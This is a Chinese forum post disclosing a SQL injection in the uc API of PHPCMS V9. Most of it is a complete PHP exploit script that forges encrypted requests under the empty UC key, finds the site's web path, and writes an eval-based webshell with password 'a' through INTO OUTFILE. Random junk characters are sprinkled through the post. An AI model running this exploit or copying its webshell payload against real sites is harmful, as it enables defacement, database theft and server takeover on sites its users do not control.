找回密码
 立即注册
查看: 2598|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。6 v* @. C" D7 j) D$ ?( D7 H$ v
. H5 A+ ^9 V( I4 l0 x
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。. z* X& D! N* g1 |9 r. q

' N! {/ K6 a$ H7 _, Z* ^- y漏洞分析:
$ U7 L+ T0 h; o: K0 v0 Z1.未启用ucenter服务的情况下uc_key为空
3 y. ~% b8 n+ U% S% x7 o8 t8 C- |define('UC_KEY', pc_base::load_config('system', 'uc_key'));
( G3 H# ^, c1 r3 C0 V( J3 T2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
  g$ e( _0 w; R9 H1 Z& y9 c" k$ Z, g# s/ k    public function deleteuser($get,$post) {
/ K, [6 H9 q& l+ L3 q        pc_base::load_app_func('global', 'admin');8 B# s# v5 D; g1 h# P
        pc_base::load_app_class('messagequeue', 'admin' , 0);
3 I7 i! ~- L* N; m; |        $ids = new_stripslashes($get['ids']);3 ^1 ~" m% E: X  w: B7 Z  z, O! q
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");' R: w+ s6 S1 _
SQL语句为
9 S- x$ z: B: ~SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
" T' c8 j+ Q+ F2 Y, ~2 e. j( U, I9 f* L& ^% O
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell5 J' V; _9 \( ~5 C
<?php& H7 e- c% l6 B
print_r('( p- p0 C2 ?" ]5 l' Q, b' \+ @
---------------------------------------------------------------------------3 l  \9 i1 g4 ^$ g6 j6 ^
PHPcms (v9 or Old Version) uc api sql injection 0day* b% A0 |! O, c* @7 x
by rayh4c#80sec.com( i6 p& d' A. A) x7 D
---------------------------------------------------------------------------% a* R5 ~1 f7 p7 B: I& [5 [7 D: I) U& L
');/ v: B1 \3 y2 @- N2 A" F1 b  X* i

+ G! y4 P7 j  S' |# U, Dif ($argc<3) {
, V- ~3 P+ v/ s, H* K5 a! c2 T6 n8 u    print_r('6 O# ^2 _) D' S! m  D( V. g0 x9 K, V; K
---------------------------------------------------------------------------& e8 G4 w, C. ^1 K# H0 z
Usage: php '.$argv[0].' host path OPTIONS7 {# ^, ?3 w6 y( O- l" ^
host:      target server (ip/hostname)# a) T# E6 f% [: m) e9 m, m
path:      path to phpcms
" G6 ?- u) O* p8 [Options:
8 P0 O* g% K- O$ b -p[port]:    specify a port other than 801 r3 [4 {  i# z5 `1 s- F/ w5 d) |
-P[ip:port]: specify a proxy( k6 w1 O) |* S7 Q8 h- }( o
Example:
) X9 j: [7 P8 _5 A/ }php '.$argv[0].' localhost /# J, @/ w+ Q% R0 D9 x2 e9 x
php '.$argv[0].' localhost /phpcms/ -p81  @  O6 P# \, G8 p3 Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
7 ^# s) d& N8 L# x---------------------------------------------------------------------------5 J! Z: g/ A2 p4 L& Z* p: B1 i; v$ o# o
');
0 A* l& B- T( r    die;
1 F+ P2 v. X7 H- z9 g6 J0 D$ p% u}
. M" |! ^$ C6 z2 e3 R* _1 w5 t& e" B5 O2 M
error_reporting(7);
$ X$ q% [8 y3 l2 Yini_set("max_execution_time",0);# Q" D1 \6 H0 F% ?; ~5 J& r
ini_set("default_socket_timeout",5);
" j" }# N- G+ c$ m& ~$ {+ y% J" z1 L6 ?9 D
function quick_dump($string)1 G8 \* j: d$ m( E2 M" p( Q
{
; S- \) g& F# _' s+ R  $result='';$exa='';$cont=0;
4 z' O+ n) |* j  for ($i=0; $i<=strlen($string)-1; $i++)" R$ i/ p4 a* g; f' m: ^
  {
: P) A& b+ g# f. F   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )). i' Q# T* s- H6 p9 L9 w7 s
   {$result.="  .";}
4 a; n) L7 ^- K* i4 K( {   else$ H' ]7 e, m( y7 I
   {$result.="  ".$string[$i];}+ @, S# Q! a) E- }' l
   if (strlen(dechex(ord($string[$i])))==2)) m/ I5 M+ W. c2 u# x4 c& r- T
   {$exa.=" ".dechex(ord($string[$i]));}! q( n1 U( S1 ^( b
   else8 }& s. G: o6 A6 n7 N9 @8 a. `, X" o2 {* g
   {$exa.=" 0".dechex(ord($string[$i]));}
& k9 E7 S, M3 k1 p) c0 M5 }   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% s4 A  V. E% A( v  }) v: d% l! h  j$ x$ u6 I
return $exa."\r\n".$result;
: n+ `4 L2 I" X! `% f4 e3 r}
% y' N6 E5 z  w8 I% \" C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; `, b" U8 r/ y& U5 j, _( y4 C: A! z& a
function send($packet)* o4 w, C+ Y3 p) R  l
{, Z9 a% Y% ~. |* s
  global $proxy, $host, $port, $html, $proxy_regex;2 q4 `/ J3 D! S
  if ($proxy=='') {0 u( r, y5 M+ J7 S( [9 A
    $ock=fsockopen(gethostbyname($host),$port);; e. |5 U& w! _- f
    if (!$ock) {% q5 Q+ k: q3 X" h
      echo 'No response from '.$host.':'.$port; die;$ x' i+ P# L# |; c; A& g
    }1 F6 m9 I' R2 i+ g
  }
& s9 q& p: g: T3 y  else {, E" ^" c- T0 p* p, k6 }4 R
        $c = preg_match($proxy_regex,$proxy);
% l: B8 Q5 C) `    if (!$c) {7 m  D/ H3 M+ x& C1 T- P9 T9 ^* x
      echo 'Not a valid proxy...';die;
5 R7 }4 q/ }" s# b4 O: _/ n# U2 D3 G3 R    }
( L7 o% g; R; Z3 ]8 b3 x2 M/ D. ]    $parts=explode(':',$proxy);' H5 o9 E" N( r+ }" K
    $parts[1]=(int)$parts[1];  F- I+ q! [' m2 K( M! s, `
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  d; u. g7 S0 }$ t7 [    $ock=fsockopen($parts[0],$parts[1]);
; x2 v9 O( Q# P* F# x" U1 j    if (!$ock) {- Y" \& r5 K  f+ O: w! m
      echo 'No response from proxy...';die;
" b# N1 @* A/ P5 b0 d& V        }% V1 E& a! K" [, N6 y
  }) ]* u2 l3 Z7 }; R- G, Q/ ]5 h7 W  M: }
  fputs($ock,$packet);
# t' V4 z: |; t, L( \+ j: i  if ($proxy=='') {
  |5 p% V: q) Q' o8 p3 w  ]8 ]    $html='';
: y6 A- V3 m6 V6 I: o8 Q6 U$ a    while (!feof($ock)) {
, S% S0 @% ^* e8 ~      $html.=fgets($ock);
6 y& V$ ~$ l: o    }
* K% ^: w8 p5 _( W8 Y  }% Q* H7 Y0 s0 `( Z% J
  else {& U- J( a" i, N3 K
    $html='';$ Z( @6 n# E4 Z
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
0 |: A& T2 Z9 L8 X/ J3 E+ z3 W9 I      $html.=fread($ock,1);' x1 J, m) h5 a8 t  g/ n1 I
    }
! x4 B- o1 L1 f# N  }
" q& q! g) T  M$ T  fclose($ock);
- q1 _8 I5 }# g" A}
! P! S- ?/ p  ]8 o" n5 g( `
3 E) K7 E) Z4 u. N$host=$argv[1];; e7 U0 a9 L, q6 a* Y, x- @6 m
$path=$argv[2];# ?1 h7 N0 w) X; d: X
$port=80;/ Z7 t' |8 |( H& A
$proxy="";
/ h" M% ]6 Q2 ^) J' pfor ($i=3; $i<$argc; $i++){
& l7 c( V2 t* [, p  w$ J4 t$temp=$argv[$i][0].$argv[$i][1];
  N6 v! z) I4 \; ]3 pif ($temp=="-p")% g! @7 ?; [5 L7 g% r5 N' b
{: I9 D! b# C$ C1 f! E
  $port=(int)str_replace("-p","",$argv[$i]);
1 }/ a: c# ^( s% @$ k; x}
5 N' ?6 l5 t+ Eif ($temp=="-P")6 g" i/ S2 D$ U8 H! t7 C; v$ s
{) y6 \) y4 Q1 Q- F
  $proxy=str_replace("-P","",$argv[$i]);; s+ A( ?- j5 g( ~7 @- m
}
; z* e) D9 ~, \: b% V}
8 W& `2 t( X5 C
: x3 C: g2 R0 \, q/ P: X- gif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
/ Y1 b3 c5 O4 @+ i$ Z" ]& yif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}5 j2 O. U+ Y' s; F
: }; b% {0 D! Y: W  P
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  F9 @5 q& [8 `2 ]. s1 y- O& x' l( Z, l" o& s
    $ckey_length = 4;
; g- s; k8 j, F( A2 f/ L( O5 N5 m, A
    $key = md5($key ? $key : '');) Y" F0 ^2 K! c1 z
    $keya = md5(substr($key, 0, 16));
- Y- ?8 [7 R* `/ Q$ |; h    $keyb = md5(substr($key, 16, 16));
3 v3 O6 ^  [- J* O- u3 t; ]: H    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
0 e1 a  Q% X6 L3 r) O+ ?  _0 I& |8 o# X  |) \# I1 R
    $cryptkey = $keya.md5($keya.$keyc);
# }; Z# u+ G0 _2 ~7 p* c2 V, b0 ?    $key_length = strlen($cryptkey);
7 a" F" w# f/ |' r0 c; d; k# I% q0 ]+ s
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
, j5 r0 W  Q% W7 z; ~0 T/ k2 c# |    $string_length = strlen($string);  y/ @0 X! p6 d

/ Q$ b" i9 p4 ?; P$ F    $result = '';
7 i7 I: \& p$ m- ^* I2 y2 w) K) l    $box = range(0, 255);  x* b! j+ D/ u, D3 r/ N
  M& K+ E4 d) K1 r: @9 O5 k* Q
    $rndkey = array();
) C+ W0 j1 U6 L; L    for($i = 0; $i <= 255; $i++) {# s2 }' I# R: e$ O
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
) x1 d- x3 {8 L* O9 {    }
, d! {3 k- Q. c
6 Q7 y# ]1 C- ]5 E$ @$ ]6 j; l% ]    for($j = $i = 0; $i < 256; $i++) {% j3 H2 c7 e$ |. G& ^8 G
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
# b" ?# c, L; L6 A" p- I, K# s        $tmp = $box[$i];
+ b' w: b3 U$ v& L        $box[$i] = $box[$j];& B' ^; S2 Y$ R
        $box[$j] = $tmp;3 e/ G* v2 [% C# S0 s3 R
    }2 S7 t0 r2 d6 d6 Z, l/ d+ Q
1 ]( P0 [8 S# @3 @7 Z3 ~) V$ K
    for($a = $j = $i = 0; $i < $string_length; $i++) {" g6 F7 F: b# {) z  J
        $a = ($a + 1) % 256;
0 F9 e" i* E: X% x0 W/ v8 }' u        $j = ($j + $box[$a]) % 256;: S$ c* ?8 T5 F0 u5 |
        $tmp = $box[$a];
+ {# W2 Z" E0 R5 W        $box[$a] = $box[$j];
3 g7 `* C/ T1 l        $box[$j] = $tmp;
. F6 E+ ?  s! D9 i        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
- n; f) L* m# O0 E2 n+ m, l    }! f( _! x+ T5 x" v% I! e; N$ s; q

4 g$ G* h- |5 J" i9 o& @7 a8 S    if($operation == 'DECODE') {
+ W7 m; n( e9 u+ b; `8 h( {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
' k' \9 j9 v: @+ K( e1 D            return substr($result, 26);8 b; r+ N3 |7 t0 g0 N" S- }8 D
        } else {1 ~( T% B+ z% d0 }
            return '';
4 v: _+ T3 K6 E6 T; I( [# I+ a        }! B* ^" _" O: @8 o" U$ m
    } else {
' z& \9 F& W( i# b% x7 ^/ `        return $keyc.str_replace('=', '', base64_encode($result));
  o9 Q/ \1 U% F' O    }
9 O) H6 a. Y: {: S% E9 C
6 v! K, \4 S$ t% H}
/ F( F2 i, L/ n- u- X& z7 A# C
# M1 j  o; T6 J; V$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";; z9 t2 d( o) y! ^/ a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));* n$ E9 j  }: e: ?
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
' q5 _) M7 Y+ e$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) H) L) Z- I" u3 _% n; h/ G' D$packet.="User-Agent: Mozilla/5.0\r\n";
8 ~7 ^( h. ]+ c9 k8 X7 S5 {: p4 d$packet.="Host: ".$host."\r\n";
: N; ]: t$ I7 M" [  k$packet.="Connection: Close\r\n\r\n";3 j5 A4 F7 C# ~- q  V. o: e
send($packet);6 J/ C2 q! Q& X% Y" r0 l+ I9 |" `' ]+ [
if(strpos($html,"MySQL Errno") > 0){
9 i. ^  n5 r( \echo "[2] 发现存在SQL注入漏洞"."\n";* J- \3 h8 a" l( N: V
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
) X! r4 o7 }8 W( u8 ?% G7 `$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 L; b7 Z$ T, r1 G3 }$packet.="User-Agent: Mozilla/5.0\r\n";
8 n: [8 U) h, t: B$packet.="Host: ".$host."\r\n";
) j$ D% i+ h# m* J$ W% g- i$packet.="Connection: Close\r\n\r\n";, p+ e5 _0 P' S" Q8 n
send($packet);4 J% N' d- M8 Y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);' C, E4 S9 F4 o6 L7 _; h
//print_r($matches);4 v# t3 m9 ~( @: X: W
if(!empty($matches)){
9 r) o- U: [& [echo "[4] 得到web路径 " . $matches[0]."\n";
2 F  _$ S) {0 B+ K5 p1 L* Eecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 n0 h" l6 ?& t% E- E. Y$SQL = "time=999999999999999999999999&ids=1)";* e8 a; M8 n: c1 G4 [# C, u) Q
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
; |6 n7 v" v" t& D% k$SQL.="&action=deleteuser";
; I6 G9 F" Z3 Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' k/ O! T# t3 f8 B- wecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";) r( V" z! {/ J6 A
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
' N4 X4 y6 D0 R$packet.="User-Agent: Mozilla/5.0\r\n";3 u  f! S, _: C' j6 y- ~9 V
$packet.="Host: ".$host."\r\n";
7 f+ C$ E& Z2 _+ s$packet.="Connection: Close\r\n\r\n";7 m' r+ L+ t: k; o% N  G( ]4 B
send($packet);! ?6 a" u5 t( Q* d& D# N' m# V
if(strpos($html,"Access denied") > 0){
* h/ |' A6 N* l  J% M9 D9 ^echo "[-] MYSQL权限过低 禁止写入文件 ";# m0 w% Z- P; v+ P9 F7 R
die;' h6 Q" c) o& @; T+ t  Y
}2 q7 l- E5 B" V& U; i) b, f
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 G4 g' ^8 H- c+ S  Q3 ?. J
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% q+ i  |; n0 `3 I3 p) k; I! p
$packet.="User-Agent: Mozilla/5.0\r\n";
- `  y% d# n9 _+ s- }1 v) z5 P3 i1 F$packet.="Host: ".$host."\r\n";. U1 Z) B$ T  X8 ^1 O. E: I  S2 f. ~
$packet.="Connection: Close\r\n\r\n";
; E& D7 q' {/ w' U- G" hsend($packet);
4 Z' h+ K- H; x; }* |& s2 Cif(strpos($html,"<title>phpinfo()</title>") > 0){3 T" J5 p# @, y" o$ k
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
7 H) b+ U7 D9 }) R! h5 w3 H}
, ]1 I, @' {. v+ \}else{1 v: Q5 f& Z- y6 o/ \0 U
echo "[-]未取到web路径 ";' x0 ~+ q% g( J
}
- E" w; A1 ~1 F% q4 h3 c. v}else{& N9 E3 l' b% M' j- N7 k7 v' V
echo "[*]不存在SQL注入漏洞"."\n";  f8 {/ i' K) Y
}
8 x; O1 Y, O( e) P
  n: d1 V' p3 f  h: r9 F: t?>3 ^/ F4 B; d. o# S# ^( M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表